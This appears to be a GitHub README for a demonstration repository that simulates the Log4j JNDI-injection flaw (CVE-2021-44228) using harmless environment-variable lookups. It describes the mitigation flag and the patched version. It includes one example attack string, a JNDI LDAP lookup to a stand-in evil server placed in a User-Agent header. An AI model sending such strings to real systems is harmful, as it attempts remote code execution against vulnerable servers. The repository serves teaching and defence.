This repository represents a simplified simulation of infamous CVE-2021-44228 issue.
Aside from system properties and other dictionary structures lookups, Apache Log4j also implements JNDI lookup feature for various reasons. The JNDI can obtain services from a number of service providers, such as LDAP, DNS, Java RMI registry, etc. The JNDI itself is a simple and insecure API that doesn't protect against service providers controlled by a 3rd party. As long as the attacker controls a server publicly accessible through the malicious URL and is aware what is being logged by the application listening over a specific port, they can abuse the log format to cause the application to load and execute arbitrary Java code through JNDI injection. This can be passed through commonly logged request headers in either plain text or obfuscated form.
user-agent: ${jndi:ldap://evilserver.com/payload}
Apache Log4j was vulnerable to remote code execution vulnerability before the 2.16.0
version came out 13rd of December and the authors have my due respect for their quick response.
Resources:
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://securelist.com/cve-2021-44228-vulnerability-in-apache-log4j-library/105210/
- https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns
The simulation is using environment variables instead of an LDAP server, as well as the log format supports the Property substitution. The principle is no different.
Java 11 and Maven are required, nevertheless Maven Wrapper is also included in the repository.
The GitHub repository defines a repository secret PASSWORD
that is set as an environment variable in the workflow .github/workflow/ci.yml
file in order to make a secret available to an action.
To reproduce the issue locally a commonly used JAVA_HOME
environment variable can be used.
The workflow builds and executes two applications with different Apache Log4j versions 2.14.1
and 2.16.0
and here is a sample execution on GitHub Actions: Java CI #7.
This version is vulnerable to the attack. Follow these steps to reproduce:
-
mvn clean install -f log4j-2.14.1
-
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
The environment variable appears logged:
args[0] = C:\Program Files\Java\jdk-11.0.11
Here is a screenshot from GitHub action just for the case the actual run is removed automatically:
Note that once you try to print out secrets to the log, GitHub automatically redacts them and the values are masked and displayed as ***
.
The property was, however, substituted.
A temporary and partial workaround is instructed as adding the -Dlog4j2.formatMsgNoLookups=True
JVM parameter, therefore it is needed to restart all the nodes of application.
-
mvn clean install -f log4j-2.14.1
-
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
No property substitution happens:
args[0] = ${env:JAVA_HOME:-}
Again, here is a screenshot from GitHub Actions:
The issue was fixed in Log4j 2.12.2
(Java 7) and Log4j 2.16.0
(Java 8) by the Log4j Security Team.
-
mvn clean install -f log4j-2.16.0
-
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
No property substitution happens:
args[0] = ${env:JAVA_HOME:-}
Again, here is a screenshot from GitHub Actions: